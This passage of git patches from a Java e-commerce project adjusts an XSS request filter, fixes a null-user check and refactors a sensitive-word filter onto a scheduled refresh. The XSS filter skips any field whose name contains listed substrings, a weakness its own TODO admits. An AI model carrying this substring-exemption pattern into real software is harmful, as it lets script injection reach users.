@todo 这里的参数应该更智能些,例如iv,前端的参数包含这两个字母就会放过,这是有问题的 */ - private static final String[] IGNORE_FIELD = {"logo", "url", "photo", "intro", "content", "name", "image", "encrypted", "iv","mail"}; + private static final String[] IGNORE_FIELD = {"logo", "url", "photo", "intro", "content", "name", "image", "encrypted", "iv", "mail", "privateKey"}; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); From 1e868c23352eb9777da7db21c6a75563427ec43a Mon Sep 17 00:00:00 2001 From: OceansDeep <2540655127@qq.com> Date: Mon, 22 Nov 2021 10:18:39 +0000 Subject: [PATCH 006/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=9C=AA=E7=99=BB?= =?UTF-8?q?=E5=BD=95=E7=94=A8=E6=88=B7=EF=BC=8C=E6=B5=8F=E8=A7=88=E7=A7=AF?= =?UTF-8?q?=E5=88=86=E5=95=86=E5=93=81=E6=8A=A5=E9=94=99?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/promotion/serviceimpl/PointsGoodsServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index acee95ac..f0b3fb97 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -228,7 +228,7 @@ public class PointsGoodsServiceImpl extends ServiceImpl getPointsGoodsByPage(PointsGoodsSearchParams searchParams, PageVO page) { IPage pointsGoodsPage = new Page<>(); - if (UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { + if (UserContext.getCurrentUser() == null || UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { searchParams.setPromotionStatus(PromotionStatusEnum.START.name()); } Query query = searchParams.mongoQuery(); From dbd35c18b570a0784dbe58a80aa593e76b6c4ff4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 22 Nov 2021 18:20:06 +0800 Subject: [PATCH 007/145] =?UTF-8?q?=E5=BE=AE=E4=BF=A1=E6=94=AF=E4=BB=98?= =?UTF-8?q?=E7=AD=BE=E5=90=8D=E8=A2=ABxss=E8=BF=87=E6=BB=A4=E9=97=AE?= =?UTF-8?q?=E9=A2=98=E5=A4=84=E7=90=86=E5=BF=BD=E7=95=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../filter/XssHttpServletRequestWrapper.java | 15 ++++++++++++++- .../HotWordsManagerController.java | 2 +- .../MemberNoticeManagerController.java | 2 +- 3 files changed, 16 insertions(+), 3 deletions(-) rename manager-api/src/main/java/cn/lili/controller/{setting => goods}/HotWordsManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{setting => member}/MemberNoticeManagerController.java (98%) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index c5a34eb1..996ef0bd 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -35,7 +35,20 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { * * @todo 这里的参数应该更智能些,例如iv,前端的参数包含这两个字母就会放过,这是有问题的 */ - private static final String[] IGNORE_FIELD = {"logo", "url", "photo", "intro", "content", "name", "image", "encrypted", "iv", "mail", "privateKey"}; + private static final String[] IGNORE_FIELD = { + "logo", + "url", + "photo", + "intro", + "content", + "name", + "image", + "encrypted", + "iv", + "mail", + "privateKey", + "Wechatpay", + }; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); diff --git a/manager-api/src/main/java/cn/lili/controller/setting/HotWordsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/setting/HotWordsManagerController.java rename to manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java index 80c97396..b38e5e85 100755 --- a/manager-api/src/main/java/cn/lili/controller/setting/HotWordsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/HotWordsManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.goods; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/MemberNoticeManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/MemberNoticeManagerController.java rename to manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java index 54c7d520..2c3b44a3 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/MemberNoticeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberNoticeManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.member; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; From c276b1595c0402210c237dffd3aca19edd6a2796 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 22 Nov 2021 18:30:11 +0800 Subject: [PATCH 008/145] =?UTF-8?q?=E5=BE=AE=E4=BF=A1=E5=8F=82=E6=95=B0?= =?UTF-8?q?=E5=B0=8F=E5=86=99=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../common/security/filter/XssHttpServletRequestWrapper.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 996ef0bd..f542397a 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -47,7 +47,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { "iv", "mail", "privateKey", - "Wechatpay", + "wechatpay", }; public XssHttpServletRequestWrapper(HttpServletRequest request) { From f8408030a9c66f43f3c8835a6475faeea03584aa Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 23 Nov 2021 16:53:53 +0800 Subject: [PATCH 009/145] =?UTF-8?q?=E6=95=8F=E6=84=9F=E8=AF=8D=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E7=AD=96=E7=95=A5=E9=97=AE=E9=A2=98=E8=B0=83=E6=95=B4?= =?UTF-8?q?=EF=BC=8C=E6=95=8F=E6=84=9F=E8=AF=8D=E8=BF=81=E7=A7=BB=E8=87=B3?= =?UTF-8?q?=E5=85=AC=E5=85=B1=E5=B7=A5=E5=85=B7=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../sensitive}/SensitiveWordsFilter.java | 201 +++++++++--------- .../sensitive}/SensitiveWordsNode.java | 0 .../sensitive}/StringPointer.java | 0 .../common/sensitive/init/SensitiveInit.java | 40 ++++ .../common/sensitive/quartz/QuartzConfig.java | 11 + .../sensitive/quartz/SensitiveQuartz.java | 11 + .../util => common/utils}/UuidUtils.java | 0 .../system/utils/CharacterConstant.java | 20 -- .../resources/sensitive/sensitive_words.txt | 6 - .../src/main/resources/sensitive_words.txt | 6 - 10 files changed, 158 insertions(+), 137 deletions(-) rename framework/src/main/java/cn/lili/{modules/system/utils => common/sensitive}/SensitiveWordsFilter.java (85%) rename framework/src/main/java/cn/lili/{modules/system/utils => common/sensitive}/SensitiveWordsNode.java (100%) rename framework/src/main/java/cn/lili/{modules/system/utils => common/sensitive}/StringPointer.java (100%) create mode 100644 framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java create mode 100644 framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java create mode 100644 framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java rename framework/src/main/java/cn/lili/{modules/connect/util => common/utils}/UuidUtils.java (100%) delete mode 100644 framework/src/main/java/cn/lili/modules/system/utils/CharacterConstant.java delete mode 100644 framework/src/main/resources/sensitive/sensitive_words.txt delete mode 100644 framework/src/main/resources/sensitive_words.txt diff --git a/framework/src/main/java/cn/lili/modules/system/utils/SensitiveWordsFilter.java b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java similarity index 85% rename from framework/src/main/java/cn/lili/modules/system/utils/SensitiveWordsFilter.java rename to framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java index 63a04787..9191fc65 100644 --- a/framework/src/main/java/cn/lili/modules/system/utils/SensitiveWordsFilter.java +++ b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java @@ -1,12 +1,6 @@ package cn.lili.modules.system.utils; -import cn.lili.modules.system.entity.dos.SensitiveWords; -import cn.lili.modules.system.service.SensitiveWordsService; import lombok.extern.slf4j.Slf4j; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.ApplicationArguments; -import org.springframework.boot.ApplicationRunner; -import org.springframework.stereotype.Component; import java.io.Serializable; import java.util.List; @@ -21,9 +15,12 @@ import java.util.NavigableSet; * 2020-02-25 14:10:16 */ @Slf4j -@Component -public class SensitiveWordsFilter implements Serializable, ApplicationRunner { +public class SensitiveWordsFilter implements Serializable { + /** + * 字符* + */ + public final static char WILDCARD_STAR = '*'; /** * 为2的n次方,考虑到敏感词大概在10k左右, @@ -39,96 +36,20 @@ public class SensitiveWordsFilter implements Serializable, ApplicationRunner { */ protected static SensitiveWordsNode[] nodes; - @Autowired - private SensitiveWordsService sensitiveWordsService; - /** - * 增加一个敏感词,如果词的长度(trim后)小于2,则丢弃
- * 此方法(构建)并不是主要的性能优化点。 + * 过滤铭感次 * - * @param word 敏感词 - * @return 操作结果 - */ - public static boolean put(String word) { - - //长度小于2的不加入 - if (word == null || word.trim().length() < 2) { - return false; - } - //两个字符的不考虑 - if (word.length() == 2 && word.matches("\\w\\w")) { - return false; - } - StringPointer sp = new StringPointer(word.trim()); - //计算头两个字符的hash - int hash = sp.nextTwoCharHash(0); - //计算头两个字符的mix表示(mix相同,两个字符相同) - int mix = sp.nextTwoCharMix(0); - //转为在hash桶中的位置 - int index = hash & (nodes.length - 1); - - //从桶里拿第一个节点 - SensitiveWordsNode node = nodes[index]; - if (node == null) { - //如果没有节点,则放进去一个 - node = new SensitiveWordsNode(mix); - //并添加词 - node.words.add(sp); - //放入桶里 - nodes[index] = node; - } else { - //如果已经有节点(1个或多个),找到正确的节点 - for (; node != null; node = node.next) { - //匹配节点 - if (node.headTwoCharMix == mix) { - node.words.add(sp); - return true; - } - //如果匹配到最后仍然不成功,则追加一个节点 - if (node.next == null) { - new SensitiveWordsNode(mix, node).words.add(sp); - return true; - } - } - } - return true; - } - - /** - * 移除敏感词 - * - * @param word + * @param sentence 过滤赐予 * @return */ - public static void remove(String word) { - - StringPointer sp = new StringPointer(word.trim()); - //计算头两个字符的hash - int hash = sp.nextTwoCharHash(0); - //计算头两个字符的mix表示(mix相同,两个字符相同) - int mix = sp.nextTwoCharMix(0); - //转为在hash桶中的位置 - int index = hash & (nodes.length - 1); - SensitiveWordsNode node = nodes[index]; - - for (; node != null; node = node.next) { - //匹配节点 - if (node.headTwoCharMix == mix) { - node.words.remove(sp); - } - - } + public static String filter(String sentence) { + return filter(sentence, WILDCARD_STAR); } /** * 对句子进行敏感词过滤
- * 如果无敏感词返回输入的sentence对象,即可以用下面的方式判断是否有敏感词:
- * String result = filter.filter(sentence, CharacterConstant.WILDCARD_STAR);
- * if(result != sentence){
- *   //有敏感词
- * } - *
+ * 如果无敏感词返回输入的sentence对象,即可以用下面的方式判断是否有敏感词:
* * @param sentence 句子 * @param replace 敏感词的替换字符 @@ -224,25 +145,95 @@ public class SensitiveWordsFilter implements Serializable, ApplicationRunner { } } + /** * 初始化敏感词 - * - * @param args - * @throws Exception */ - @Override - public void run(ApplicationArguments args) { - try { - nodes = new SensitiveWordsNode[DEFAULT_INITIAL_CAPACITY]; - //加入平台添加的敏感词 - List list = sensitiveWordsService.list(); - if (list != null && list.size() > 0) { - for (SensitiveWords sensitiveWords : list) { - put(sensitiveWords.getSensitiveWord()); - } - } - } catch (Exception e) { - log.error("初始化敏感词错误", e); + public static void init(List words) { + nodes = new SensitiveWordsNode[DEFAULT_INITIAL_CAPACITY]; + for (String word : words) { + put(word); } } + + + /** + * 增加一个敏感词,如果词的长度(trim后)小于2,则丢弃
+ * 此方法(构建)并不是主要的性能优化点。 + * + * @param word 敏感词 + * @return 操作结果 + */ + public static boolean put(String word) { + + //长度小于2的不加入 + if (word == null || word.trim().length() < 2) { + return false; + } + //两个字符的不考虑 + if (word.length() == 2 && word.matches("\\w\\w")) { + return false; + } + StringPointer sp = new StringPointer(word.trim()); + //计算头两个字符的hash + int hash = sp.nextTwoCharHash(0); + //计算头两个字符的mix表示(mix相同,两个字符相同) + int mix = sp.nextTwoCharMix(0); + //转为在hash桶中的位置 + int index = hash & (nodes.length - 1); + + //从桶里拿第一个节点 + SensitiveWordsNode node = nodes[index]; + if (node == null) { + //如果没有节点,则放进去一个 + node = new SensitiveWordsNode(mix); + //并添加词 + node.words.add(sp); + //放入桶里 + nodes[index] = node; + } else { + //如果已经有节点(1个或多个),找到正确的节点 + for (; node != null; node = node.next) { + //匹配节点 + if (node.headTwoCharMix == mix) { + node.words.add(sp); + return true; + } + //如果匹配到最后仍然不成功,则追加一个节点 + if (node.next == null) { + new SensitiveWordsNode(mix, node).words.add(sp); + return true; + } + } + } + return true; + } + + /** + * 移除敏感词 + * + * @param word + * @return + */ + public static void remove(String word) { + + StringPointer sp = new StringPointer(word.trim()); + //计算头两个字符的hash + int hash = sp.nextTwoCharHash(0); + //计算头两个字符的mix表示(mix相同,两个字符相同) + int mix = sp.nextTwoCharMix(0); + //转为在hash桶中的位置 + int index = hash & (nodes.length - 1); + SensitiveWordsNode node = nodes[index]; + + for (; node != null; node = node.next) { + //匹配节点 + if (node.headTwoCharMix == mix) { + node.words.remove(sp); + } + + } + } + + } diff --git a/framework/src/main/java/cn/lili/modules/system/utils/SensitiveWordsNode.java b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java similarity index 100% rename from framework/src/main/java/cn/lili/modules/system/utils/SensitiveWordsNode.java rename to framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java diff --git a/framework/src/main/java/cn/lili/modules/system/utils/StringPointer.java b/framework/src/main/java/cn/lili/common/sensitive/StringPointer.java similarity index 100% rename from framework/src/main/java/cn/lili/modules/system/utils/StringPointer.java rename to framework/src/main/java/cn/lili/common/sensitive/StringPointer.java diff --git a/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java b/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java new file mode 100644 index 00000000..a6a38b9b --- /dev/null +++ b/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java @@ -0,0 +1,40 @@ +package cn.lili.cache.impl; + +import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; +import cn.lili.common.sensitive.SensitiveWordsFilter; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.stereotype.Component; + +import java.util.List; + +/** + * 初始化敏感词 + * + * @author Chopper + * @version v1.0 + * 2021-11-23 12:08 + */ +@Component +public class SensitiveInit implements ApplicationRunner { + + @Autowired + private Cache> cache; + + /** + * 程序启动时,获取最新的需要过滤的敏感词 + * + * @param args + */ + @Override + public void run(ApplicationArguments args) { + List sensitives = cache.get(CachePrefix.SENSITIVE.getPrefix()); + if (sensitives == null || sensitives.isEmpty()) { + return; + } + SensitiveWordsFilter.init(sensitives); + } + +} diff --git a/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java b/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java new file mode 100644 index 00000000..034c9fd2 --- /dev/null +++ b/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java @@ -0,0 +1,11 @@ +package cn.lili.common.sensitive.quartz; +/** + * + * QuartzConfig + * @author Chopper + * @version v1.0 + * 2021-11-23 16:30 + * + */ +public class QuartzConfig { +} diff --git a/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java b/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java new file mode 100644 index 00000000..3f237ff3 --- /dev/null +++ b/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java @@ -0,0 +1,11 @@ +package cn.lili.common.sensitive.quartz; +/** + * + * SensitiveQuartz + * @author Chopper + * @version v1.0 + * 2021-11-23 16:31 + * + */ +public class SensitiveQuartz { +} diff --git a/framework/src/main/java/cn/lili/modules/connect/util/UuidUtils.java b/framework/src/main/java/cn/lili/common/utils/UuidUtils.java similarity index 100% rename from framework/src/main/java/cn/lili/modules/connect/util/UuidUtils.java rename to framework/src/main/java/cn/lili/common/utils/UuidUtils.java diff --git a/framework/src/main/java/cn/lili/modules/system/utils/CharacterConstant.java b/framework/src/main/java/cn/lili/modules/system/utils/CharacterConstant.java deleted file mode 100644 index 44749097..00000000 --- a/framework/src/main/java/cn/lili/modules/system/utils/CharacterConstant.java +++ /dev/null @@ -1,20 +0,0 @@ -package cn.lili.modules.system.utils; - -/** - * - * 字符常量 - * @author Bulbasaur - * @version v1.0 - * @since v1.0 - * 2020-02-25 14:10:16 - */ -public class CharacterConstant { - - - /** - * 字符* - */ - public final static char WILDCARD_STAR = '*'; - - -} diff --git a/framework/src/main/resources/sensitive/sensitive_words.txt b/framework/src/main/resources/sensitive/sensitive_words.txt deleted file mode 100644 index 04912c08..00000000 --- a/framework/src/main/resources/sensitive/sensitive_words.txt +++ /dev/null @@ -1,6 +0,0 @@ -共产党 -习近平 -毛泽东 -胡锦涛 -邓小平 -强奸 \ No newline at end of file diff --git a/framework/src/main/resources/sensitive_words.txt b/framework/src/main/resources/sensitive_words.txt deleted file mode 100644 index 04912c08..00000000 --- a/framework/src/main/resources/sensitive_words.txt +++ /dev/null @@ -1,6 +0,0 @@ -共产党 -习近平 -毛泽东 -胡锦涛 -邓小平 -强奸 \ No newline at end of file From 16f314bd804d1ccfe1d2871827e84d62fa9e081f Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 23 Nov 2021 16:56:03 +0800 Subject: [PATCH 010/145] =?UTF-8?q?=E6=95=8F=E6=84=9F=E8=AF=8D=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E7=AD=96=E7=95=A5=E9=97=AE=E9=A2=98=E8=B0=83=E6=95=B4?= =?UTF-8?q?=EF=BC=8C=E6=95=8F=E6=84=9F=E8=AF=8D=E8=BF=81=E7=A7=BB=E8=87=B3?= =?UTF-8?q?=E5=85=AC=E5=85=B1=E5=B7=A5=E5=85=B7=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../connect/ConnectBuyerWebController.java | 2 +- framework/pom.xml | 26 ++++++---- .../main/java/cn/lili/cache/CachePrefix.java | 6 ++- .../sensitive/SensitiveWordsFilter.java | 20 +++++--- .../common/sensitive/SensitiveWordsNode.java | 2 +- .../lili/common/sensitive/StringPointer.java | 48 ++++++++++--------- .../common/sensitive/init/SensitiveInit.java | 7 ++- .../common/sensitive/quartz/QuartzConfig.java | 30 ++++++++++-- .../sensitive/quartz/SensitiveQuartz.java | 42 +++++++++++++--- .../java/cn/lili/common/utils/UuidUtils.java | 2 +- .../connect/request/BaseAuthRequest.java | 2 +- .../MemberEvaluationServiceImpl.java | 5 +- .../member/serviceimpl/MemberServiceImpl.java | 7 ++- .../system/service/SensitiveWordsService.java | 4 ++ .../SensitiveWordsServiceImpl.java | 17 +++++++ .../SensitiveWordsManagerController.java | 14 ++---- 16 files changed, 160 insertions(+), 74 deletions(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/connect/ConnectBuyerWebController.java b/buyer-api/src/main/java/cn/lili/controller/passport/connect/ConnectBuyerWebController.java index 30ef2cf8..4a8a523b 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/connect/ConnectBuyerWebController.java +++ b/buyer-api/src/main/java/cn/lili/controller/passport/connect/ConnectBuyerWebController.java @@ -11,7 +11,7 @@ import cn.lili.modules.connect.entity.dto.ConnectAuthUser; import cn.lili.modules.connect.request.AuthRequest; import cn.lili.modules.connect.service.ConnectService; import cn.lili.modules.connect.util.ConnectUtil; -import cn.lili.modules.connect.util.UuidUtils; +import cn.lili.common.utils.UuidUtils; import cn.lili.modules.member.service.MemberService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/framework/pom.xml b/framework/pom.xml index 170bd277..4d26218a 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -26,6 +26,12 @@ + + + org.springframework.boot + spring-boot-starter-quartz + + org.springframework.boot spring-boot-starter-web @@ -74,11 +80,11 @@ org.springframework.boot spring-boot-starter-data-mongodb - - - - - + + + + + com.baomidou @@ -265,11 +271,11 @@ logstash-logback-encoder ${logstash-logback-encoder} - - - - - + + + + + de.codecentric spring-boot-admin-starter-client diff --git a/framework/src/main/java/cn/lili/cache/CachePrefix.java b/framework/src/main/java/cn/lili/cache/CachePrefix.java index 8b3bab3f..27740abe 100644 --- a/framework/src/main/java/cn/lili/cache/CachePrefix.java +++ b/framework/src/main/java/cn/lili/cache/CachePrefix.java @@ -480,7 +480,11 @@ public enum CachePrefix { /** * 订单暂时缓存 */ - ORDER; + ORDER, + /** + * 敏感词 + */ + SENSITIVE; public static String removePrefix(String str) { diff --git a/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java index 9191fc65..14f70b0c 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java +++ b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsFilter.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.utils; +package cn.lili.common.sensitive; import lombok.extern.slf4j.Slf4j; @@ -34,7 +34,12 @@ public class SensitiveWordsFilter implements Serializable { * 类似HashMap的桶,比较稀疏。 * 使用2个字符的hash定位。 */ - protected static SensitiveWordsNode[] nodes; + protected static SensitiveWordsNode[] nodes = new SensitiveWordsNode[0]; + + /** + * 更新中的nodes,用于防止动态更新时,原有nodes被清空,导致无法正常写入过滤词 + */ + protected static SensitiveWordsNode[] nodesUpdate; /** @@ -150,13 +155,14 @@ public class SensitiveWordsFilter implements Serializable { * 初始化敏感词 */ public static void init(List words) { - nodes = new SensitiveWordsNode[DEFAULT_INITIAL_CAPACITY]; + log.info("开始初始化敏感词"); + nodesUpdate = new SensitiveWordsNode[DEFAULT_INITIAL_CAPACITY]; for (String word : words) { put(word); } + nodes = nodesUpdate; } - /** * 增加一个敏感词,如果词的长度(trim后)小于2,则丢弃
* 此方法(构建)并不是主要的性能优化点。 @@ -180,17 +186,17 @@ public class SensitiveWordsFilter implements Serializable { //计算头两个字符的mix表示(mix相同,两个字符相同) int mix = sp.nextTwoCharMix(0); //转为在hash桶中的位置 - int index = hash & (nodes.length - 1); + int index = hash & (nodesUpdate.length - 1); //从桶里拿第一个节点 - SensitiveWordsNode node = nodes[index]; + SensitiveWordsNode node = nodesUpdate[index]; if (node == null) { //如果没有节点,则放进去一个 node = new SensitiveWordsNode(mix); //并添加词 node.words.add(sp); //放入桶里 - nodes[index] = node; + nodesUpdate[index] = node; } else { //如果已经有节点(1个或多个),找到正确的节点 for (; node != null; node = node.next) { diff --git a/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java index 7932b773..aa3131f9 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java +++ b/framework/src/main/java/cn/lili/common/sensitive/SensitiveWordsNode.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.utils; +package cn.lili.common.sensitive; import java.io.Serializable; import java.util.TreeSet; diff --git a/framework/src/main/java/cn/lili/common/sensitive/StringPointer.java b/framework/src/main/java/cn/lili/common/sensitive/StringPointer.java index 1f211a02..7e9e98f5 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/StringPointer.java +++ b/framework/src/main/java/cn/lili/common/sensitive/StringPointer.java @@ -1,13 +1,14 @@ -package cn.lili.modules.system.utils; +package cn.lili.common.sensitive; import java.io.Serializable; /** + * 字符指针 * * @author Bulbasaur * @since 2020-02-25 14:10:16 */ -public class StringPointer implements Serializable, CharSequence, Comparable{ +public class StringPointer implements Serializable, CharSequence, Comparable { private static final long serialVersionUID = 1L; @@ -19,13 +20,13 @@ public class StringPointer implements Serializable, CharSequence, Comparable length - i){ + if (word.length > length - i) { return false; } //从尾开始判断 - for(int c = word.length - 1; c >= 0; c --){ - if(value[offset + i + c] != word.value[word.offset + c]){ + for (int c = word.length - 1; c >= 0; c--) { + if (value[offset + i + c] != word.value[word.offset + c]) { return false; } } @@ -76,31 +78,31 @@ public class StringPointer implements Serializable, CharSequence, Comparable sensitives = cache.get(CachePrefix.SENSITIVE.getPrefix()); + log.info("系统初始化敏感词"); if (sensitives == null || sensitives.isEmpty()) { return; } diff --git a/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java b/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java index 034c9fd2..9d971984 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java +++ b/framework/src/main/java/cn/lili/common/sensitive/quartz/QuartzConfig.java @@ -1,11 +1,31 @@ package cn.lili.common.sensitive.quartz; + +import org.quartz.*; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + /** - * - * QuartzConfig + * 定时执行配置 + * * @author Chopper * @version v1.0 * 2021-11-23 16:30 - * - */ + */ +@Configuration public class QuartzConfig { -} + @Bean + public JobDetail sensitiveQuartzDetail() { + return JobBuilder.newJob(SensitiveQuartz.class).withIdentity("sensitiveQuartz").storeDurably().build(); + } + + @Bean + public Trigger sensitiveQuartzTrigger() { + SimpleScheduleBuilder scheduleBuilder = SimpleScheduleBuilder.simpleSchedule() + .withIntervalInSeconds(3600) + .repeatForever(); + return TriggerBuilder.newTrigger().forJob(sensitiveQuartzDetail()) + .withIdentity("sensitiveQuartz") + .withSchedule(scheduleBuilder) + .build(); + } +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java b/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java index 3f237ff3..ab1f2bcc 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java +++ b/framework/src/main/java/cn/lili/common/sensitive/quartz/SensitiveQuartz.java @@ -1,11 +1,41 @@ package cn.lili.common.sensitive.quartz; + +import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; +import cn.lili.common.sensitive.SensitiveWordsFilter; +import lombok.extern.slf4j.Slf4j; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.scheduling.quartz.QuartzJobBean; + +import java.util.List; + /** - * - * SensitiveQuartz + * 间隔更新敏感词 + * * @author Chopper * @version v1.0 * 2021-11-23 16:31 - * - */ -public class SensitiveQuartz { -} + */ +@Slf4j +public class SensitiveQuartz extends QuartzJobBean { + + @Autowired + private Cache> cache; + + /** + * 定时更新敏感词信息 + * + * @param jobExecutionContext + */ + @Override + protected void executeInternal(JobExecutionContext jobExecutionContext) { + log.info("敏感词定时更新"); + List sensitives = cache.get(CachePrefix.SENSITIVE.getPrefix()); + if (sensitives == null || sensitives.isEmpty()) { + return; + } + SensitiveWordsFilter.init(sensitives); + } +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/common/utils/UuidUtils.java b/framework/src/main/java/cn/lili/common/utils/UuidUtils.java index af9b2cdd..b9f17bcb 100644 --- a/framework/src/main/java/cn/lili/common/utils/UuidUtils.java +++ b/framework/src/main/java/cn/lili/common/utils/UuidUtils.java @@ -1,4 +1,4 @@ -package cn.lili.modules.connect.util; +package cn.lili.common.utils; import java.nio.charset.StandardCharsets; import java.util.concurrent.ThreadLocalRandom; diff --git a/framework/src/main/java/cn/lili/modules/connect/request/BaseAuthRequest.java b/framework/src/main/java/cn/lili/modules/connect/request/BaseAuthRequest.java index 9e1274dc..51f0aa96 100644 --- a/framework/src/main/java/cn/lili/modules/connect/request/BaseAuthRequest.java +++ b/framework/src/main/java/cn/lili/modules/connect/request/BaseAuthRequest.java @@ -13,7 +13,7 @@ import cn.lili.modules.connect.entity.enums.AuthResponseStatus; import cn.lili.modules.connect.exception.AuthException; import cn.lili.modules.connect.util.AuthChecker; import cn.lili.common.utils.HttpUtils; -import cn.lili.modules.connect.util.UuidUtils; +import cn.lili.common.utils.UuidUtils; import com.xkcoding.http.util.UrlUtil; import lombok.extern.slf4j.Slf4j; diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java index 6c6432e7..858bea4e 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java +++ 